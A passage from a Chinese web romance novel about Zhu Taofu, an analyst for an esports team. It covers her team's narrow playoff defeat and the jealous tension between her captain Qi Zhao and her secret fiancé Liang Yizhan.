“我说你怎么昨晚上,出去了一下,原来是给分析师送毯子。”
上单和祁招一个宿舍,一眼认出那是他的绒毯。
原因无他,这个牌子的logo,只有祁少爷才会用。
电竞行业的头部选手,工资并不低,但架不住像祁招吃穿用度。
本来就是吃青春饭,什么都按最贵的标准来,那是吃断头饭。
对男生来说,毯子而已,凑合凑合得了。
上单见状,调侃道:“还以为你私会美人去了,竟然在当好人,做好事。”
祁招冷笑,反问一句:“我是不知分寸的人?”
中单就在他左手边位置,离他最近,点头符合:“对的,没错,你就是这样的人。”
见缝插刀,打野阴阳怪气地补充:“你怎么能这么说队长,他就不是人好吗?”
祁招:……
“好了好了,bless在睡觉,声音小点别打扰到她。”连日来的辛苦都看在眼里,是由衷地对祝陶浮这朵娇花,刮目相看,欣赏且佩服。
见他们拌嘴的时候,祝陶浮轻蹙眉心,辅助赶紧小声提醒。
晃了晃脑袋,祝陶浮从座位艰难直起身:“没事,我没有睡觉,只是在想事情。”
遂将自己的担忧,全盘托出。
“总之,就是尽量,不要打到第五局。”
她言辞还是用的比较委婉,尽量。
实际情况,是一定不能拖到第五局。
否则就会非常被动,陷入对方的节奏掌控之中。
教练点头,看着她的脸色,关心询问:“小祝,你要不回去休息,看着有些憔悴。”
平日里她虽话不多,跟大家说话带笑,沉静而生动,似一幅徐徐展开的流动画卷。
这会儿她笑意消失,困倦耷着长睫,身上被秾丽眉眼压着的清冷感一下子无所遁形,像窗外淋了雨的蝶,风起时消失不见。
微不可查地皱着眉,祁招若有所思。
这种气质很微妙,不该出现在一个二十出头的女孩身上。
看着她不是感受到容颜娇艳,更像是看透尘世,恍若暮色沉沉时分的淡然寂寥。
“你不回去,那就让队医看看。”掀起眼睑,祁招不由分说地发话,不带商量余地。
“我可不想待会儿比赛结束,你人先没了。”
“chess,怎么说话的。”遇到大型赛事,经理都会过来送送队员们。
一进屋,就听到他这不吉利的话语。
“呸呸呸,童言无忌。”迅速连吐三声,经理赶走晦气。
领队笑了,挑眉看向祁招:“哎,你这招没用啊经理,chess不是童子。”
经理:……
大家互相开着玩笑,当然主要是拿祁招开涮,平日里横行霸道惯了,这会儿逮到机会,自是要出出气。
其实也是赛前的一种放松,借机转移话题,让氛围没那么紧张。
队员们一个接一个离开训练室,祝陶浮站起来同他们挨个加油。
祁招走在最后,在祝陶浮给予鼓励时,他懒洋洋瞥了一眼。
“行了,你照顾好自己。”说完,拎着包头也不回地离开。
楼梯口在走廊拐角处,祁招转身,便碰到经理候在此处。
他既没有去基地大门口送队员们上车,也没有回办公室忙于工作,站在这个地方,很明显是有话要对祁招说。
“有何贵干。”懒散单肩背着外设包,祁招吊儿郎当问。
经理深吸一口气,忍了忍,才道。
“本来我是想等你比赛回来再论,但我晚上出差谈一个商务,我觉得刻不容缓了。”
祁招看了他一眼,示意他往下说。
不再遮遮掩掩,经理单刀直入:“你不是有洁癖吗,那毯子怎么回事?”
平日里祁招已经很接地气了,大家的调侃讥嘲他来者不拒,可有些习惯刻在骨子里,仍然保持少爷做派。
比如洁癖。
队员们衣食住行都在一起,免不了彼此磕磕绊绊,祁招其他方面适应不错,唯独衣服是不喜与他人混在一块。
基地派有专人进行清洗,祁招是他自带的人员打理。
粉丝追竞犹如带着放大镜,扒出过同样是队服,祁招的比别的队员衣领要更为熨帖整齐。
网友当是粉丝滤镜,归结于人不行别怪路不平,长得好看为所欲为。
无论黑子白子还是串子,不得不承认祁招长得帅气潇洒、身材也宽肩窄腰,穿起同款队服,就是要更胜一筹。
同吃同住,别的队员有时候混着穿衣服很正常,甚至闹过比赛穿队服、都穿成带有对方专属姓名外套的笑话。
祁招则不然,他穿别人的、别人穿他的都极为不自在,室友有一次穿错,直接将衣服送他了,几万块的t恤说给就给。
队友们常常开玩笑,祁招是队里请客吃饭最大方,但衣服不一样,一出手还如此阔绰,他们很有分寸感,尽量下次不再弄混。
骤然降温,借条绒毯无可厚非,但放祁招身上就不太正常。
听他室友上单的意思,还是祁招主动拿来的。
心中隐隐不对劲,经理只好赶在出差前来求证,不然都没法安心谈判。
“我当什么事。”
相较于经理的忐忑不安,祁招很是坦然,甚至闲闲反问:“有问题吗。”
说完擦肩而过,不再过多停留。
考虑到接下来还有比赛,经理也不好再多说什么。
聪明人点到为止,希望祁招能够理解他的意思。
望着他的背影,经理摇摇头
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,上楼收拾行李。
--
QSG基地配有专门的医务室,躺在诊疗椅上小憩片刻,从队医那里拿了一些补充体力的保健药品,祝陶浮返回训练室。
手机消息叮咚,是许若歆忙里偷闲,给她加油打气。
“平台是吃定了这场流量啊,渲染得跟总决赛似的。”
“我旁观者都感觉到紧张氛围,你压力是不是很大?”
在没有正式加入QSG以前,祝陶浮觉得自己应该不会有太大的情绪波动。
可能从小听着道观里生老病死、自然规律,输赢更是兵家常事,她自觉是能想得开。
诚如许若歆所言,旁观与入局,是两回事。
自己怎么也不会想到,真到了关键的一刻,心绪会起伏失眠。
“还好。”停顿几秒,她在手机上敲下这两个字。
“哎,其实我还挺好感TKL的,因为他们打法挺踏实,这年头不该让老实人吃亏。”
此言属实,之前两人去看电竞比赛,许若歆会努力签到做任务,达到粉丝等级,领取应援。
祝陶浮则表现得截然相反,不需要等级的应援她依然兴致缺缺,只是为了陪许若歆排队,顺便领取。
没什么主队,却热衷于游戏比赛,这也太矛盾了,许若歆还问过她这个问题。
对此,祝陶浮想了想,道:“可能,就是觉得好玩?”
许若歆:……
“你这回答太随意了。”
祝陶浮浅笑,说:“人嘛,就是要活得随意一点。”
嘴上说着好感TKL,许若歆对QSG不是特别感冒,但也不反感,继续发送消息。
“但我希望,你能赢。”许若歆。
闻言,祝陶浮心里一动,道:“那我先替QSG谢谢你啦。【爱心.jpg】”
“借你吉言。”
--
不知道是不是跟许若歆聊了一会儿,没有那么紧张,祝陶浮困倦的脑子开始思考除了比赛以外的事情。
第一件,就是与其在这里干耗着,不如回去加件外套。
早该如此,然而太困了就是想不起来一些事情,机械地原地踏步。
趁着比赛尚未开始,祝陶浮回到家里拿外套。
因着梁以盏不喜外人打扰,佣人们都不在,只在需要的时候才会出现。
祝陶浮将羊绒毯带回来,准备洗干净了再还给祁招。
别墅里有独立的洗衣家政间,从洗衣、烘干、收纳等等一应俱全。
其中配备的干洗区域,祝陶浮从来没有使用过,她仅仅询问过佣人怎么使用洗衣机,只会最基础的功能。
站在庞大复杂的繁重机器前,祝陶浮犯了难,毕竟这条羊绒毯奢侈昂贵,干洗以后仍有整理熨烫等步骤。
自己不是专业人士,祝陶浮决定,明天休赛的时候,还是花钱送往专门的干洗店处理。
家里的佣人已经很专业,据说有一位曾在奢侈品保养店工作,属于是既有手法、也有门路。
下意识地,与梁以盏有关的人和事,她不想麻烦。
于是从一旁找了个干净的包袋,抽过一张便利贴放在脏衣抽屉,避免混淆,转身匆匆离去。
23.第 23 章
不知道是不是许若歆的那句“希望你赢”,起了作用。
QSG真的如祝陶浮的“借你吉言”,bo5的前两局,拿下胜利,率先拿到赛点。
只要再赢一场,QSG将会提前锁定决赛名额,有更为充足的时间和精力,向着冠军进发。
“我没时间看完全场,抽空看了眼比分,QSG二比零TKL!”
微信里,许若歆发来祝贺消息,跟了一连串“香槟”的emoji。
但电子竞技,最忌讳半场开香槟,遂两分钟内,她复又撤回。
“稳住稳住,我等你好消息!”
相较于许若歆的激动,祝陶浮没有他那么高兴,心脏反而愈发提到嗓子眼。
二比零的战绩,从比分上看,怎么都是QSG占优势。
但经过这段时间,与赛训组进行专业的探讨分析,TKL前两把并没有拿自己擅长的英雄,也没有按照既定路线,掏出的是新招式新玩法。
就像是QSG刚进季后赛时的那样,磕磕绊绊搭建新体系。
那时候QSG面对的是排名靠后的队伍,勉强打到第五局,换回熟悉的套路惊险过关。
可QSG不是莽夫小将,整体运营层面远超后者一个level。
面对如此强悍的劲敌,TKL输归输,输的方式并非溃败后一泻千里,而是很有韧性地一直在找机会反击。
能在自己不熟悉的领域,交出一份惜败的答卷,TKL做到这个地步,实属拿出了榜一应有的气概。
旁观者不了解情况,因而TKL的官博跟上次QSG一样,被网友谩骂爆破。
另一边的QSG,则是敲锣打鼓,全都捂住香槟,保持嘴角平直,和许若歆态度一致,只待唾手可得的胜利。
热评第一是“陌生”,QSG竟然能连赢两场,赛前解说、主持或者各类博主,预测胜利是五五开,现在看来,居然要如此轻松的拿下胜利。
恰恰不是陌生,而是熟悉,赛训组挑选的是最稳妥的打法。
先赢下来,提振士气,信心对于竞技亦是至关重要。
第二局结束,QSG回到休息室,复盘调整。
在远程连线询问祝陶浮的意见,她将根据前两局的战况,得出的结论,飞快输出。
“总是,第三局,TKL不会再让我们这么舒服了。”末了,她提醒。
“现在回归到他们的主场。”
接下来的第三局和第四局,双方战况颠倒扭转。
TKL从bp选择开始,回归自己原有风格,进入峡谷后更是将熟悉的打法展现得淋漓尽致。
既是回归本色的崭露头角,也是为憋屈了整整两场的窝窝囊囊出口恶气。
TKL打法稳健,不代表他们打起架来会畏畏缩缩。
新仇旧恨一起算,连着两把,TKL下手比平时更重,打得QSG应付式接招,没有还手的余地。
前两局是难舍难分,QSG拿下胜利。
而TKL虽不至于碾压,但赢得势头,是赶超QSG,比后者用了较少的时间,拿下两场胜利。
二比二比分扳平,终于还是来到bo5决胜局。
从赛点到悬崖边,双方舆论再次大反转。
最痛苦的,莫过于先拥有胜利希望的那一方,陷入失败的绝望。
休息室里,领队尽力调动大家情绪。
“又不是没跟TKL打到第五局过,而且我们可是先拿下两场胜利的,该慌张的是他们。”
强行安慰的话语,逻辑毫无通顺,理应是后来者上的TKL,心态上愈发轻松激进。
所以在他说完,休息室陷入一片寂静。
“既然到这了,就敞开了打,拿出我们的新东西。”
祁招率先出声,打破沉闷。
他依然是那副懒散无畏的模样,与平日里并无不同,恰恰给了心里压力巨大的队员们,一种熟悉的从容平和。
片刻,教练说:“就跟你说的,到这里不容易,一步踏错,是天壤之别,还需要谨慎啊。”
最担心的事情,还是发生了。
对于第五把bp体系的构建,祁招和祝陶浮的意见,与其他人截然相反。
副教练在一旁打圆场,劝解道:“祁队,反正还有复活甲,不如我们就还是让队员们拿老一套的办法,万一能赢呢。”
此番话语,亦是队员们心中所想。
万一呢,万一呆在舒适圈能赢呢?
向外踏错,万劫不复。
从概率上来说,好像的确是旧有打法才是安全牌。
只是--
“输赢不是概率论,要那样的话,就失去了电子竞技的意义。”
见状,祝陶浮轻声解释,发表意见。
场馆休息室里,摆放着几台显示器,有比赛战况的实时直播,也有教练组自带的电脑平板。
其中一台电脑,正远程连线基地的训练室。
教练组坐在电脑桌前,队员们围站在旁边讨论。
训练室灯光明亮,映照在她艳丽眉眼,随着她不疾不徐的解释,显得柔和宁静。
仿佛回到了每一个训练苦闷、又充满着探讨乐趣的平常训练日。
“概率之外,才是比赛本身。”祝陶浮。
“我和祁队看法一样,第五局就是要尝新。”
她坐在屏幕前,视角有限,只能看到教练、副教练,监督堪堪露出半个身子。
另一侧站在众人后的祁招,则是能将她看得清清楚楚,从眉梢到肩颈,一览无余。
包括,她换了衣服,没有再披着自己的羊绒毯。
两厢僵持,导播敲门过来催促。
“各位老师,要准备上场了。”
战歌响起,TKL和QSG悉数登场。
两边战队的ban位很快确定,作为第四局的输家,QSG具有优先选边权,选择蓝色意味着需要首选。
第一手pick,QSG犹豫了很久。
一直到最后一秒,才堪堪锁定。
赛场外的解说见状,由是道:“看出来QSG非常纠结啊,很难确定到底选择什么。”
另一位解说点头,表示赞同:“是的,我们看到刚刚导播给的画面啊,虽然听不到他们交流的具体内容,但能看到沟通得非常激烈,这主教练是皱着眉,想必也是在艰难抉择。”
第一手pick出来,祝陶浮明了,QSG选择的,仍是沿用惯常打法。
接下来的bp可谓是中规中矩,不出错误。
然而要赢,不是不出错就能达成的。
从bp的选择开始,QSG这局的气数已定,陷入了TKL的节奏。
刚开始的前十分钟,双方你来我往,尚且看不出谁优谁劣。
可实际上,祝陶浮看出来,QSG是在被TKL牵着鼻子走。
整场下来,说不上QSG哪里出了大问题,就跟bp风格一样不出错。
但最终就是经济运营不够,团战落位缺人,被TKL死死拿捏,稀里糊涂输掉游戏。
二比三,QSG以最可惜的比分,遗憾落败。
TKL进入决赛,QSG掉入败者组
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训练室的灯,亮了一整夜,QSG全员在训练室里呆了一整个通宵。
这场惜败的复盘,没说出什么所以然。
大家心情都不好,讲了很多遍的bp、眼位、换线、团战,都是枉然。
徒劳无功,干耗着也不是回事,监督发话:“离败者组的比赛,还有一天的也不急于一时,明天睡醒恢复状态后,我们再来细细拆解这场比赛。”
讲到最后,队员们各自排位,祝陶浮提前收工。
从前联盟热度最高的时候,直播平台与全队签约,大家有时长任务。
现在大环境不景气,直播平台仅与明星选手个人签约。
祁招懒散惯了,八百年难得会播一次。
这个月因为祝陶浮来到基地,她自己不愿透露身份,祁招正好有理由躲懒,鸽掉直播,免得摄像头泄露一二机密。
走出训练室时,祁招在走廊里抽烟。
他手里夹着一点猩红,隔着浅淡云雾,朝祝陶浮望过来。
“怎么,你男朋友今天不来接啊。”
淅沥细雨顺着风飘在走廊,基地大门口空无一人。
祝陶浮脚步顿住,只是说:“……他不是我男朋友。”
胸腔里哼笑了声,也不知道祁招信没信,挑眉看向她:“那就是你住在附近的室友?”
回应他的,是沉默风声。
祁招没什么所谓,拖腔带调懒洋洋询问:“上次下雨来接你,这次雨更大了,还输了比赛,不是更应该前来安慰一下?”
默了片刻,祝陶浮秉持着多说多措的原则,谨慎回答:“……他很忙。”
说完,便绕开祁招,打算擦肩而过。
“那看来,你们的关系,不是很好嘛。”
路过祁招时,听见他在身后,落下的这一句似笑非笑。
--
凌晨一点,是祝陶浮来到QSG,下班最早的一次。
大雨倾盆,街上行人寥寥,空旷寂静得仍是如同往日里三点半的道路。
上一次发消息给梁以盏,让他不用接自己的时候,哪怕通宵,祝陶浮心情仍然很轻松。
可能是熬了整个通宵,也可能是输了比赛,或者两者原因都有的缘故,祝陶浮只觉得身子昏沉,极其疲惫。
望着无边夜色,看不到尽头的大雨,她陷入片刻的迷茫恍惚。
忽然,临近大门的街道位置,停泊的一辆车,亮起车灯。
灯光照亮漆黑幽深的雨雾,也令祝陶浮愣怔神色无所遁形。
车窗降下,驾驶位是一张熟悉的清冷峻脸,出现在她眼前。
夜色黑沉,清灰沉静的眼眸瞥望过来,来人淡然开口:“怎么,要我亲自下车接,你才上来啊。”
方才在楼上走廊,明明看到基地门口,是空无一人……
忘了,没有人影,但还有车辆停驻。
与其他三三两两停靠门口的车,并无区别。
不用刻意在看不见人的拐角处,而是与那些一样,等待归人而已。
在祝陶浮犹疑的时候,梁以盏当真下车,撑起黑伞走了过来。
夜半基地一楼保安室,留着一盏微弱夜灯。
黑沉伞面隔开落雨,也挡住外界探寻的视线。
来不及仔细思索,祝陶浮迅速走进他的伞下,匆忙上车。
坐定以后,她顿了顿,委婉提醒:“你这样,别人看到,怕是不太好吧。”
suv缓缓行驶在大雨里,梁以盏把着方向盘,似是轻哂。
“是你觉得不好。”
24.第 24 章
睡眠不够又得强打精神的时候,人就会胡思乱想。
一会儿是祁招说的避嫌,外人也道是不可言说的联姻是豪门秘辛。
一会儿脑子里又浮现起四年前的画面,在梁以盏将订婚协议推过来的时候,自己说的“不要公开”。
好友许若歆祝福自己取得胜利,现实赛况是以惜败痛苦告终。
……
多思无益。
在她还在栖梧上学的时候,前去附近山上的观里,道长曾经善意提醒。
在后来的岁月里,她也努力做到,让自己不要过于忧虑,随心而活,随遇而安。
可是暴雨太过沉闷,连日来作息颠倒生物钟也跟着天气闹腾,搅和得祝陶浮不得安宁。
看向窗外,是黑漆漆的雨夜,求不得结果。
渐渐地,目光随着意识神游,偏靠向另一侧。
眉眼清冷英挺,在黑暗里凛冽沉稳,过于凌厉漠然的气场,令周身不得不强行安定镇静。
心情稍稍平复了一些,她便听到对方低哑倦懒的嗓音。
“有话想对我说。”
眼神冷淡垂落在前方路况,却好似正面对面与她交谈,看透了她心中所想。
一时间,不知道从何开口,祝陶浮也不愿意说得太多。
思绪百转千回,她想了想,才慢吞吞开口。
“我觉得你挺行的。”
此话一出,不知道为什么,祝陶浮觉得,空气似乎凝滞了一瞬,有些莫名。
也因这一瞬,车内沉闷了一路的氛围,堪堪裂开了一个小口。
渐渐撕破开来,不再压抑窒息。
难得梁以盏没有第一时间接话,祝陶浮当他是被夸了不好意思,于是自顾自地往下。
“跟你相比,我太不行了。”偏歪着脑袋,靠在座椅上,祝陶浮轻轻地叹了一口气。
“你每天要面对那么复杂而庞大的集团,业务纷繁沉重,我却是被一个比赛,就弄得疲惫不堪。”此番话出自真心,她甚是无奈感慨。
车辆行驶到十字路口,红灯亮起短暂停泊,梁以盏转过头,沉灰眼眸静静望向她。
“痛苦不能比较,你和我面对困境时,感受是一样的。”他语气平静,说得淡然,令祝陶浮颇为意外。
一时间不知如何接话,祝陶浮愣怔地回望向他,以待他有何高明的见解下文。
“不过,你前一句倒是没说错。”话音一转,梁以盏轻嗤了声,慢悠悠道。
绿灯亮起,车辆再次启动。
“毕竟,男人不能说不行。”懒散丢下这句话,随即瞥收回看向她的眼神,继续望着前路。
祝陶浮:……
--
气温没有下降太多,一路没有淋雨,回房后第一时间,祝陶浮洗了个热水澡,还喝下厨房熬制的汤药,尽可能做好完全的准备,避免生病。
然而当闹铃响了好几遍,她没能像往常一样,在中午起身赶去基地,反而晕乎乎陷在被子里。
在祝陶浮混沌的意识里,她清楚知晓,自己还是不幸感冒了。
应该是连日来的疲惫,加上输比赛心绪波动过大,病来如山倒,真应验了祁招那句,倒在床上动弹不得。
伸手摸索向床头柜,祝陶浮拿起手机,眯着眼睛艰难解锁。
“队长,我感冒了,晚点到基地,望批准,谢谢。”祝陶浮。
公事公办,如同公司打卡上班。
消息发出去以后,她就将手机静音丢在一边,闭上眼睛,继续躺在被窝里昏昏沉睡。
直到闹铃再一次响起,是晚上八点,这个点一般是选手们吃过晚饭稍稍休息以后,对下午训练赛进行复盘的时间。
复古厚重的鹅绒窗帘,将光线与声音隔绝在外,闭眼与睁眼的时候景象没什么区别,都是一片寂静黑暗。
眼神飘在黑暗里,眩晕发空片刻,祝陶浮才堪堪拿起枕头边的手机。
屏幕亮起,她翻看未接电话和消息。
消息是许若歆连发的好几条微信,是一些安慰话语,告诉她做得很好,给她加油打气,下次一定会赢回来。
语毕,后面跟着一连串搞笑的表情包,想逗祝陶浮开心一下。
“哎,主要你在QSG忙得昏天黑地,昼伏夜出,我觉得我作息已经够混乱了,还是你们竞人更疯狂。”她道。
“要是时间能对上,我们可以出去吃个饭,陪你出去逛一逛、玩一玩,让心情能好一点。”
“不过,也就一周以后的事情了,QSG肯定会进决赛,到时候赢了咱要好好庆祝。【干杯.jpg】”
吸取上次的教训,她把香槟的emoji,改成了碰杯的gif。
半场开香槟,在电竞领域果然是谁都逃不过的玄学,许若歆吃一堑长一智,选择尊重。
祝陶浮笑了一下,窝在被子里敲字回复。
“一定,赢了请你吃好吃的。”
刚发完这条消息,微信聊天框显示消息正在输入中。
“诶你说这不巧了吗,咱两心有灵犀。”许若歆。
“带教这会儿不知道发什么颠,又要拉着我上项目会,趁着开视频会议前,还可以跟你聊两三秒。”
回复她一个【愣住.jpg】,祝陶浮:“三秒到了。”
许若歆:“……”
“你好狠的心,呜呜呜,竟然撵我走。【委屈猫猫.gif】”
“所以你请我吃饭哄不好了,换我请你吃才能好!”
说完留下一个坏笑表情,便施施然结束本次聊天。
电话则是祁招连打了三个,见她没接,也没了下文动静。
看时间显示,是她在发消息请假没多久以后,对方就打了过来。
原本想同样回个电话过去,但祝陶浮刚想张口出声,发现嗓子实在痛得厉害,说话有些困难,只好打开与他的聊天框。
“不好意思,你打过来的时候正在睡觉。”
做好了准备,以祁招的性子,晾他这么久,估计自己也还要等一阵子才会得到回复。
下一刻,对方几乎是秒回,没有让她久等。
“好好休息。”祁招。
没有多余的话语,总之是准假,祝陶浮回复道。
“我其实,可以线上参与复盘。”
近段时间相处下来,祁招渐渐感受出来,祝陶浮外表瞧着秾丽娇艳,声音温柔平和,看起来很好说话的样子。
但其实,她骨子里挺固执,并不怎么会因为外界的想法改变。
否则,就不会一次次在面临战术选择时,跟自己站在同一边。
但也是大多数队员的对立面。
对于她这个要求,祁招没有过多干涉。
“你有分寸就行。”
末尾,他来了一句:“注意节制。”
本想说,生病了祁招回复自己请假的话语,言简意赅,还算人模人样。
最后这话,弄得祝陶浮又是一头雾水。
感冒了大脑里的确都晕晕乎乎晃荡着水,祝陶浮不去细究他这话的意
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思,当作是关心队员身体状况,她发送。
“收到,谢谢队长。”
良久,祁招才再次回复她一串省略号,那会儿她已经起床洗漱,下楼去了。
--
根据以往梁以盏去基地接自己的经验,祝陶浮以为他应当会很晚才会回来。
然而今天九点,她下楼准备去电竞区,路过书房,发现房门侧掩,办公桌前坐着熟悉的清冷身影。
深色书房暗沉寂静,只有灯光处算得上是房间里唯一的浅暖色温。
光线柔和落在他深邃眉眼,睫羽轻垂,投下薄凉阴翳。
“你……”
才发出一个音节,感冒加上惊讶,祝陶浮站在二楼楼梯口,止不住咳嗽。
屋里的人听见动静,迅速起身走了过来。
“你感冒了。”说完,冷白修长的手背,贴靠着她额头。
感冒以后身体机能慢了一瞬,祝陶浮抬眸,眼睫轻扫过他清晰利落的手指骨节。
反应过来以后,她悄悄往后退,对方已经收回手指,语气平平道:“我让医生过来。”
“不用麻烦。”祝陶浮说。
“我自己吃了药。”
行李箱里备有常见的感冒药,这次感冒尚在初期,她量了体温没有发烧,吃几粒就会恢复。
梁以盏没有跟她多言,转身吩咐管家,让家庭医生过来一趟。
然后才将视线,重新落在她身上。
“你先把衣服穿好。”语调还是一如既往地平静,站在她跟前,却不动声色地移开眼神。
祝陶浮有些莫名,低头看了看,发现睡衣领口的扣子散了两颗。
细瘦白皙的锁骨上,还泛着倦懒睡意的残留红痕。
“……不好意思。”
估计是生病了睡得不安稳,在被窝里扭动导致睡衣扣子散开,感冒了也没注意到这一茬意外。
气温忽冷忽热,这两天下雨降温,天气预报显示后天又开始升温,令人着实难以应对。
经他一提,祝陶浮忽然想起什么,往洗衣房的方向走。
“去哪。”低哑嗓线凉凉出声,梁以盏叫住他。
祝陶浮:“哦,我有东西落在那里了,我拿去洗。”
手腕倏地一凛,祝陶浮被牵制在原地,无法向前。
梁以盏拽住她,脸色冷沉得即使祝陶浮脑子再不清醒,也能清晰地读出来,他心情不悦。
“你还准备亲自去洗?”
掐着她手腕的力道收紧,祝陶浮感到有些痛,莫名其妙看着他:“当然是送去干洗店啊。”
闻言,禁锢着自己的手掌才堪堪松开,祝陶浮低头,发现脆弱瓷白的腕骨处,轻微泛红。
“你不会把它扔了吧?”慢半拍地回过神,祝陶浮不确定地问。
感冒以后眼睛生理性沁水,抬起眼眸望向对方时,没有平日里的清冷淡然,眼尾湿红,带着点自己不知道的楚楚委屈、我见犹怜。
然而梁以盏面对她的发问,眼神虽收起一闪而过的阴鸷,但语气依然不怎么好,没有一丝温度。
“别人的东西,留着干什么。”他神色冷淡,嗓音低沉,就像随手丢弃的垃圾,理所应当而已。
“你觉得你……”祝陶浮末尾“过分”两字还未出声,对方已然冷漠打断,仿佛看透了她心中所想。
“觉得我很过分。”梁以盏负手而立,垂着眼尾睨向她,散漫神情里没有丝毫悔意。
“那你感觉没错,我就是很小心眼。”他懒懒出声。
25.第 25 章
晴天霹雳,雪上加霜。
本来就为了手机在洲安打工还债,这下简直还不清了。
对方坦然承认自己过界行径,祝陶浮一时语塞,无声地沉默着。
良久,梁以盏浅淡出言,打破寂静。
“你会因为这个事哭。”
淡薄嗓音自头顶传来,祝陶浮不想抬眸看他,别过脸,抽了抽鼻子。
“……不至于,感冒了而已。”
实话实说,的确没必要因为此事掉眼泪。
就是感觉感冒好像加重了点,因为她鼻子有些堵。
“那就先过来吃饭。”梁以盏说。
然而一向干饭很积极,祝陶浮这会儿没有胃口,站在原地一动不动。
见状,梁以盏没说什么,转身回到书房,拿出一袋东西递过来。
视线里出现印有logo的奢侈品袋,与祁招、也是梁以盏之前车上的羊绒毯是同一个牌子。
祝陶浮一愣,低垂着眉眼,终于抬头看过去。
伸出手想去接,梁以盏先一步稍稍扬高,她扑了个空。
“吃饭了给你。”
--
口味偏中部城市的麻辣,感冒了舌尖本来就没味道,晚餐应该对于祝陶浮来说是早餐,全换成了清淡菜系。
第一时间知道她感冒的消息,厨房着手更改菜谱,有两个菜还在烹饪中,摊熟的米粑,先端了上来。
生病不适合再吃油炸糖物,老家栖梧的特色碳水里,米粑还算健康。
热气腾腾散发着酒酿发酵的清香,外壳薄脆,内里软糯香甜。
现在市面上售卖的米粑,都是模具流水线,而非传统手工制作,做出来厚实没有嚼劲,且泛着一股酸味。
轻轻咬下去,是记忆里小时候的味。
祝陶浮顿觉胃里没那么难受,心情跟着平复下来,等待其他菜品。
感冒诸多忌口,不能大鱼大肉,也要规避发物。
就着米粑吃了一口清炒的蘑菇香干,她发现即使清淡菜系,阿姨也做得很好吃,连病人麻木的唇舌都能悄然被唤醒滋味。
祝陶浮抬眸,看了一眼对面,犹豫着出声。
“原来的那条毯子,你没有丢吧。”
眼皮一撩,沉灰眼眸看向她,梁以盏说:“有这个想法。”
听出来他的潜台词,祝陶浮心里稍稍松口气:“没有浪费就好。”
从小跟着母亲去附近山上的道观,道观的道长和道士们为人平和随意,没有特别多的条条框框。
其中少有的一条规矩,就是要勤俭节约。
在道观里吃斋菜的时候,哪怕平时她热爱鲜辣口味,面对清汤寡水,她也有滋有味地全盘接受。
后来渐渐地养成习惯,从珍惜粮食开始,祝陶浮吃饭会吃得干干净净,自然尽量不浪费身边的一草一木。
在格兰佩读私立高中,高三班上人员寥寥,而且都是些不学无术的败家子,基本不会来学校。
不过自己班上的仍有男生,带些项链、手镯的配饰,或是化妆品给祝陶浮,想借此发展关系。
一个私生女,年纪小、漂亮、沉默,在他们眼里简直符合“好拿捏”的所有条件。
一点小恩小惠应该就足以将人骗到手,耍得团团转,不值得买包乃至送车等大价钱投资。
但祝陶浮面对他们献殷勤,要么当场退回去,要么他人当场丢下离开、不给她拒绝的机会,她就会把礼物塞回对方的课桌。
可是总有漏网之鱼,还有其他年级的男生,会在过路拦住她,不怀好意地塞给她奢侈品,令她没有拒绝的空间。
回到老居民楼里,梁以盏见了,拎起来直接扔进垃圾桶。
“唉,等下。”祝陶浮一惊,赶紧扑过去抢救。
平日里他们两在外奔忙各自的事情,几乎很少呆在出租屋,垃圾桶比较干净,塑料袋里没什么脏东西。
看她将崭新的包装盒从垃圾桶里捡起来,小心地放在一旁,梁以盏冷冷道:“舍不得?”
“不是。”祝陶浮摇摇头,耐着性子解释。
“我找个机会,再到他教室还给他。”
嗓子眼里逸出声冷笑,梁以盏语调冷漠:“原来是舍不得这个人。”
半蹲在地上整理物品,祝陶浮觉得跟他说不通。
“我只是不想浪费,也不想欠谁。”
时过境迁,曾经的人与事都成了过往云烟。
那些败家子要么出国花天酒地混日子,要么家里破产死的死伤的伤。还在洲安存活的以他们家的境况,在庞大的梁氏集团面前,小门小户并不够格,而祝陶浮回到栖梧过着普通的大学生活,与他们再无交集。
除了梁以盏,自始至终,一直在身边。
“那……毯子去了哪里?”
舀了一勺丝瓜滑肉,祝陶浮边吃边问。
不动声色,梁以盏语调凉薄:“去它该去的地方。”
--
同样是感冒,家庭医生诊断后开药,和自己在药店购买常规的感冒药,祝陶浮发现确实有些区别。
往常拖拖拉拉至少得一周才彻底好转,这次才吃了三天,配合他开的一些维生素剂,祝陶浮觉得精神恢复了大半。
“病去如抽丝,夫人您还是不要大意,继续注意饮食和休息。”近三天医生每天都会例行检查,祝陶浮觉得他可以不用再来,小感冒而已太过仔细郑重了。
但医生依旧按时上门,替她查看病情。
感觉恢复得差不多,祝陶浮吃过中饭,便走进厨房嘱咐。
“谢谢阿姨的照顾,菜很好吃,不过晚上我就不在家里吃饭了,您可以不用准备。”
阿姨微笑点头,和蔼提醒:“那夫人您在外,也要注意清淡饮食啊。”
提前和祁招报备了归队的事情,QSG小群里,赛训组和队员们纷纷询问她身体好的怎么样,诸如此类关心健康的话题。
只有祁招一言不发,不过领队却说:“知道你今晚回来,祁队特地吩咐基地厨房,给你开小灶,饮食清淡呢。”
队员们来自五湖四海,电竞职业压力大昼夜颠倒,偏好重口,祝陶浮跟着他们平时吃得很习惯。
没一会儿,祁招回复:“你很闲?”
领队发了个流汗的表情,坦诚道:“对啊,又不是我打比赛。”
懒得理他,祁招视而不见。
祝陶浮则说:“谢谢大家的关心,也谢谢祁队嘱咐。”
QSG队员群里,祁招依然没有回复。
想起什么,祝陶浮从手机里抬起头,补充说:“算了阿姨,梁以盏还要回来吃饭,菜的份量减少就行了。”
阿姨笑了笑,解释道:“先生从来不在家吃晚饭。”
祝陶浮一愣,询问:“可他不是每天七点半会回来吗?”
电竞作息是一点吃午饭,七八点是晚餐,等凌晨过还有胃口的话,会额外增加一次夜宵。
这三
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天她生病,梁以盏是七点半到家,与她在基地吃晚餐的时间,刚好吻合。
“这……具体原因就不太清楚了。”阿姨皱眉,表情显得有些为难:“不过夫人您不在家的时候,先生的确是没有回来吃饭的。”
--
下午四点半,梁氏集团高层结束一场会议,洽谈的合作方之一是裴家公司。
会后裴瑄轻车熟路,来到顶楼的董事办。
路过助理办公室,他发现上次的那位新助理,在经历那场难堪的茶楼聚会以后,竟然没有一气之下辞职,也没有让梁靖明两兄弟替她做主,心里不免对她的看法有所改观。
只是这次再经过门口,她是连眼神都避免和裴瑄接触,神色间十分小心谨慎。
裴瑄笑笑,没有再多打扰,瞄了眼座位工牌,这次才记住她的名字。
魏敏。
可这丫头一点都不机敏,他摇了摇头。
“我说你这什么情况,前段时间凌晨两三点下班,这几天又晚上六点下班,折磨人啊。”裴瑄躺靠在会客区沙发,二郎腿翘着,有一搭没一搭地闲聊。
